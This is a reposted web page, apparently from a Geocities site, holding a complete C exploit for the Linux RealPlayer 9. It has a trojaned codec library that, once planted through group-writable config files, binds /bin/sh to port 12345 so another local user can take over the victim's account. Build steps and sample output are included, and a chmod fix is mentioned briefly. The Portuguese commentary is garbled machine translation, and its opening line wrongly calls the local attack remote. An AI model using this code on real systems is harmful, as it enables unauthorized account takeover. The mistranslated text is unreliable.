Exploit presente na versão Linux do RealOne Player 9 que dá privilégios e permissões especiais para usuários remotos.

**
* rp9-priv-esc.c
*
* Uma escalada de privilégio local ataca contra a comunidade de apoio
* versão de Real.com's Realplayer, versão 9.
*
* Escrito por:
*
* Jon Hart <[email protected]>
*
* Por default, arquivos de configuração são armazenados em ~$USER/.realnetworks/,
* mas todo os arquivos em há agrupam writeable. Tão Logo como ~$USER
* tem agrupado permissões de execução (que é comum bonito), um malicious
* usuário local pode editar o config arquiva de usuários do companheiro para fazer seu biddings.
*
* Há um número de caminhos para atacar este, mas depois algum mexido isto parece
* que modificando o caminho para compartilhar bibliotecas e escrevendo meu possuem malicious
* compartilhado bibliotecas foi as o mais fáceis.
*
* (como um de lado, somente porque as bibliotecas compartilhadas nos diretórios contidos
* em ~$USER/.realnetworks/RealShared_0_0/ são desnudado faz não meio nós não podemos obter
* a costas de símbolos. objdump rapidamente pode contar nós que os nomes dos 15
* funções estão, e nós podemos stub fora um falso compartilhado biblioteca bonita rapidamente.)
*
* Este bit particular de código é pretendido repor a biblioteca compartilhada
* cook.so.6.0, que é contido no diretório do Codecs. Para executar isto
* ataca contra um companheiro usuário local, primeiro edita seu arquivo do config
* (~victim/.realnetworks/RealShared_0_0) para ter o 'dt_codecs' variável
* aponta para um diretório sob seu controle, gosta de /tmp/Codecs. Copie não menos do que o
* arquivos existentes do valor prévio de dt_codecs (que está usualmente alguma coisa
* gosta de ~victim/Real/Codecs/) para /tmp/Codecs. Próximo, compila o código baixo como um
* compartilhado biblioteca e copia isto ao diretório do trojaned:
*
*
* `gcc -shared -fPIC -o /tmp/Codecs/cook.so.6.0 rp9-priv-esc.c`
*
* O da próxima vez a vítima dispara para cima realplayer 9, uma concha pequena simpática
* vontade seja escutada em porta 12345 para você:
*
* guest@haiti:/$ id
* uid=1006(guest) gid=100(users) groups=100(users)
* guest@haiti:/$ nc localhost 12345
* id
* uid=1000(warchild) gid=100(users) groups=100(users),40(src),1003(wheel)
*
* Of course, you don't have to execute a shell. Do whatever makes you happy.
*
* Fix? `chmod 700 ~/.realnetworks/*`
*
* Copyright (c) 2003, Jon Hart
*Bem reservado.
*
* Redistribution e usa em fonte e formulários binários, com ou sem modificação,
* são permitido fornecido que as seguintes condições são encontradas:
*
* * Redistributions de código de fonte deve reter o acima nota de copyright,
* esta lista de condições e o seguinte disclaimer.
* * Redistributions em formulário binário deve reproduzir o acima nota de copyright,
* esta lista de condições e o seguinte disclaimer na documentação
* and/or outros materiais providos da distribuição.
* * Nenhum o nome da organização nem os nomes de seus colaboradores podem
* está utilizado para endossar ou promove produtos derivados deste software sem
* prior específico escrito permissão.
*
*
* ESTE SOFTWARE É FORNECIDO PELOS PROPRIETÁRIOS DE COPYRIGHT E COLABORADORES "COMO ESTÁ"
* E QUALQUER EXPRESSADO OU IMPLICADO GARANTIAS, INCLUINDO, MAS NÃO LIMITADAS PARA, AS
* IMPLICADO GARANTIAS DE COMÉRCIO E APTIDÃO PARA Um PROPÓSITO PARTICULAR
* SÃO NEGADO. EM NENHUM EVENTO SHALL O DONO DE COPYRIGHT OU COLABORADORES SÃO
* RESPONSÁVEL PARA QUALQUER DIRECIONADO, EXEMPLAR, ESPECIAL, ACIDENTAL, INDIRETO, OU IMPORTANTE
* PREJUÍZOS (INCLUINDO, MAS NÃO LIMITADOS PARA, PROCUREMENT DE BENS DE SUBSTITUTO OU
* SERVIÇOS; PERDA DE USO, DADOS, OU LUCROS; OU INTERRUPÇÃO DE NEGÓCIOS) ENTRETANTO
* CAUSADO E EM QUALQUER TEORIA DE RESPONSABILIDADE, SEJA EM CONTRATO, RESPONSABILIDADE ESTRITA,
* OU TORT (INCLUINDO NEGLIGÊNCIA OU DE OUTRO MODO) SUBINDO EM QUALQUER CAMINHO FORA DO
* USA DESTE SOFTWARE, MESMO QUE ACONSELHADO DA POSSIBILIDADE DE TAL PREJUÍZO.
*
*
*
*
*/
#define PORT 12345
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
void RAInitEncoder(void) { }
/** This just happens to be one of the first
* functions that realplayer calls after cook.so.6.0 is loaded
*/
void RAOpenCodec2(void) { cookthis(); }
void RAOpenCodec(void) { }
void RAGetNumberOfFlavors(void) { }
void RACloseCodec(void) { }
void RADecode(void) { }
void RAEncode(void) { }
void RAFreeEncoder(void) { }
void RAGetNumberOfFlavors2(void) { }
void RAFreeDecoder(void) { }
void RAFlush(void) { }
void RAGetFlavorProperty(void) { }
void G2(void) { }
void RASetFlavor(void) { }
void RAInitDecoder(void) { }
void RACreateEncoderInstance(void) { }
/* Bind /bin/sh to PORT. It forks
* and all that good stuff, so it won't
* easily go away.
*/
int cookthis() { int sock_des, sock_client, sock_recv, sock_len, server_pid, client_pid;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
exit(EXIT_FAILURE);
bzero((char *) &server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
server_addr.sin_port = htons(PORT);
if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr, sizeof(server_addr))) != 0)
exit(EXIT_FAILURE);
if (fork() != 0)
exit(EXIT_SUCCESS);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(EXIT_SUCCESS);
if ((sock_recv = listen(sock_des, 5)) != 0)
exit(EXIT_SUCCESS);
while (1) {
sock_len = sizeof(client_addr);
if ((sock_client = accept(sock_des, (struct sockaddr *) &client_addr, &sock_len)) < 0)
exit(EXIT_SUCCESS);
client_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(sock_client,0);
dup2(sock_client,1);
dup2(sock_client,2);
execl("/bin/sh","realplay",(char *)0);
close(sock_client);
exit(EXIT_SUCCESS);
}
close(sock_client);
}
}

 

Cracks's S.A

Hosted by www.Geocities.ws

1